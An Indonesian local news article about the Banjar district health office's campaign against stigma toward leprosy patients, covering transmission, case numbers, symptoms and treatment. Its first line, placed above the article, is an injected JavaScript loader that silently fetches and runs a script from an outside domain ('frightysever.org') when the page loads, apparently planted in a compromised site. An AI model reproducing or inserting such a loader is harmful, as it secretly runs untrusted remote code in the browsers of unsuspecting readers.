(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Mengubah stigma yang salah terhadap penderita penyakit kusta, Dinas Kesehatan Kabupaten Banjar lakukan penyuluhan kepada masyarakat. Kepala Seksi P2PM Dinkes Banjar Thaufikurrahman mengatakan, hingga sekarang masih banyak stigma yang salah dari masyarakat bahwa kusta ini adalah penyakit yang patut ditakuti.
Sehingga ada diskriminasi atau dikucilkan terhadap si penderita. Penyakit kusta disebabkan oleh bakteri Mycobacterium Leprae, bukan disebabkan karena kutukan, apa lagi faktor keturunan.
“Penyakit ini penularannya melalui pernapasan dengan kontak yang dekat dan lama terhadap penderita, misalnya dalam satu rumah, bukan karena kutukan atau keturunan yang kemudian harus diasingkan atau diisolasi,†jelasnya.
“Oleh karena itu kami mencari dan memonitoring penderita terkena kusta untuk melakukan pencegahan, serta penyuluhan mengubah stigma masyarakat yang salah oleh sebagian masyarakat,†lanjut Taufik.
Sejatinya menurut Taufik, penyakit kusta bisa disembuhkan melalui pengobatan secara rutin dan intensif, seperti penderita yang ditemui pihaknya di Kecamatan Karang Intan yang bisa sembuh karena rutin melakukan pengobatan selama 1 tahun. Untuk itu masyarakat diminta jangan khawatir terhadap penyakit ini, karena melalui deteksi dini akan lebih cepat penanganannya maupun pencegahannya.
Masih di tempat yang sama, Pengelola Program Kusta Dinas Kesehatan Kabupaten Banjar Syahdan mengatakan, kasus kusta di tahun 2017 berjumlah 22 kasus, sedangkan di tahun 2018 berjumlah 28 kasus. Menurut Syahdan, peningkatan pengidap penyakit tersebut diketahui berdasarkan hasil survey secara intensif oleh pihaknya guna meningkatkan derajat kesehatan, baik terhadap penderita maupun ke masyarakat yang kontak langsung dengan si penderita.
Hal tersebut dilakukan untuk mendeteksi sejak dini dan mencegah terjadinya kecacatan serta mengubah stigma masyarakat yang salah dengan berbagai penyuluhan. Mengingat dari 100 orang yang bergaul dengan si penderira hanya terjadi 2 persen tingkat penularannya.
Lebih lanjut Syahdan menambahkan, pihaknya berupaya untuk mensosialisaikan melalui pendekatan ke masyarakat dan sekolah-sekolah bahwa penyakit ini tidak mudah menular melalui deteksi lebih awal.
“Untuk gejala kusta sendiri, yang patut diketahui masyarakat terjadi bercak-bercak, seperti panu pada kulit yang mati rasa ketika disentuh, juga apabila menyerang pada syaraf misalnya pada telapak tangan atau telapak kaki, ketika disentuh atau dipegang tidak akan terasa,†jelas Syahdan.
Syahdan menghimbau bagi masyarakat yang mengalami gejala-gejala tersebut, agar segera melakukan pemeriksaan ke layanan kesehatan terdekat seperti Puskesmas. (rendy)
KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More
KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki dalam kondisi tidak bernyawa ditemukan tenggelam di Sungai Martapura kawasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penurunkan tekanan distribusi air bersih… Read More
This website uses cookies.